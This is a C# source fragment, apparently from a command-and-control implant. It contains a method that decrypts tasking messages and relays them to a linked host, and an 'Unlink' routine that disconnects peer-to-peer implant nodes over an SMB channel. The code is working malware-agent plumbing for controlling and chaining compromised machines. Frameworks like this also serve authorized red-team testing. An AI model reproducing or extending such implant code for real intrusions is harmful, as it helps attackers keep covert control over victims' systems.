public override bool SendMessageToProducer(string message)
{
bool bRet = true;
try
{
DebugWriteLine($"Attempting to decrypt message of length {message.Length}...");
var deleteMe = MessageConsumer.cryptor.Decrypt(message);
DebugWriteLine($"SUCCESS! Decrypted message is of length: {deleteMe.Length}");
DebugWriteLine($"Attempting to send message of length {deleteMe.Length} to {MessageProducer.HostName} using profile {MessageProducer.GetType().Name}...");
MessageProducer.Send("", MessageConsumer.cryptor.Decrypt(message));
DebugWriteLine($"SUCCESS! Sent message of length {deleteMe.Length} to {MessageProducer.HostName} using profile {MessageProducer.GetType().Name}!");
} catch (Exception ex)
{
DebugWriteLine($"ERROR! Could not send message of length {message.Length} to {MessageProducer.HostName} using profile {MessageProducer.GetType().Name}. \n\tReason: {ex.Message}\n\tStack Trace: {ex.StackTrace}");
bRet = false;
}
return(bRet);
}
private static void Unlink(Job job, Agent implant)
{
LinkMessage linkMsg = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters);
string agentUUID = linkMsg.connection_info.agent_uuid;
string message;
if (agentUUID == null || agentUUID == "")
{
job.SetError($"Could not unlink from {linkMsg.connection_info.host} as no agent UUID could be parsed.");
}
else
{
// In the future, we need to change DelegateNodes to a list of delegate nodes,
// which is then filtered down for unlinking and passing messages. Current model
// will not support multiple P2P agents from one host to another.
if (!implant.DelegateNodes.ContainsKey(agentUUID))
{
job.SetError($"No such connection to {linkMsg.connection_info.host} (Agent {linkMsg.connection_info.agent_uuid} using {linkMsg.connection_info.c2_profile.name.ToUpper()}) exists.");
return;
}
DelegateNode dg = implant.DelegateNodes[agentUUID];
switch (linkMsg.connection_info.c2_profile.name.ToLower())
{
case "smbserver":
SMBClientProfile hLinkedAgentProfile = (SMBClientProfile)dg.NodeRelay.MessageProducer;
var unlinkMsg = new UnlinkMessage()
{
action = "unlink"
};
message = JsonConvert.SerializeObject(unlinkMsg);
hLinkedAgentProfile.Send("", message);
implant.RemoveDelegateNode(agentUUID);
job.SetComplete($"Successfully unlinked {linkMsg.connection_info.host} ({linkMsg.connection_info.c2_profile.name.ToUpper()})");
break;
default:
job.SetError($"Unknown peer-to-peer profile \"{linkMsg.connection_info.c2_profile.name}\"");
break;
}
}
}